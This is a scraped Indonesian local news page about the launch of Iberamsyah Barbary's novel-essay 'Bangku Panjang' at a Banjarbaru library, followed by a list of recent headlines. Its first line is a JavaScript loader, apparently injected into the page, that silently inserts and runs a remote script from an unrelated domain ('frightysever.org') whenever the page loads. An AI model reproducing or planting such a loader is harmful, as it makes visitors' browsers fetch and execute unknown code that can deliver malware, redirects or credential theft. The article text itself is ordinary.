(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Iberamsyah Luncurkan Buku “Bangku Panjang” sebuah Novel-Esai


KANALKALIMANTAN.COM, BANJARBARU – Melalui Yayasan Kamar Sastra Nusantara, Novel Esai “Bangku Panjang” karya H Iberamsyah Barbary resmi diluncurkan bertempat di Studio Mini lantai dua, Dinas Arsip dan Perpustakaan Daerah Kota Banjarbaru, Selasa (7/12/2021).

Penulis Novel Esai “Bangku Panjang” H Iberamsyah Barbary mengatakan, dalam penulisan buku Bangku Panjang ini banyak terdapat tulisan esai dilapis novel.

“Tulisan esai dengan novel dikawinkan maka dalam esai ini ada dialog-dialog hidup, sehingga terciptalah novel esai ini,” ungkapnya.

Diceritakan Iberamsyah, dirinya belum pernah menulis novel esai sama sekali, hal ini berdasarkan buyut Arsyad salah seorang temannya dan buyut Iberamsyah dengan latar belakang yang sama yaitu guru besar.

 

 

Baca juga : Menimba Ilmu Parenting dan Literasi Anak, Ria Enes: Tunjukkan Kita Ada untuk Anak!

Di umur yang tidak muda lagi– sudah memasuki ke 73 tahun bagi Iberamsyah, tidak menjadi halangan dirinya akan terus menulis. Sekarang dia menulis buku-buku pantun dan puisi yang sudah ada tiga manuskrip, namun belum dicatatnya karena terkendala dana.

Sementara itu, Kepala Dinas Arsip dan Perpustakaan Daerah Kota Banjarbaru, Mahrufin menerangkan dalam acara peluncuran dan diskusi novel esai “Bangku Panjang” hanya memfasilitasi tempat.

“Kami hanya memfasilitasi komunitas yang ada di Banjarbaru, ini merupakan salah satu bentuk dukungan dalam meningkatkan minat literasi bagi warga Kota Banjarbaru,” ungkapnya.

Diakuinya, sebelumnya Dinas Arsip dan Perpustakaan Daerah Kota Banjarbaru hanya sebatas mendatangkan orang luar, sementara masyarakat Banjarbaru tidak terlibat seperti peserta didik yang masih sekolah maupun mahasiswa.

Baca juga : Meet and Greet Dispersip Kalsel Bersama Kak Ria Enes dan Susan

“Ke depan kalau memang ada program, kita bisa undang beberapa penulis yang potensial berkeinginan membedah buku, akan mengangkat Kota Banjarbaru sebagai kota sastra atau kota literasi,” ujarnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

16 menit ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

2 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

3 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

17 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

17 jam ago

This website uses cookies.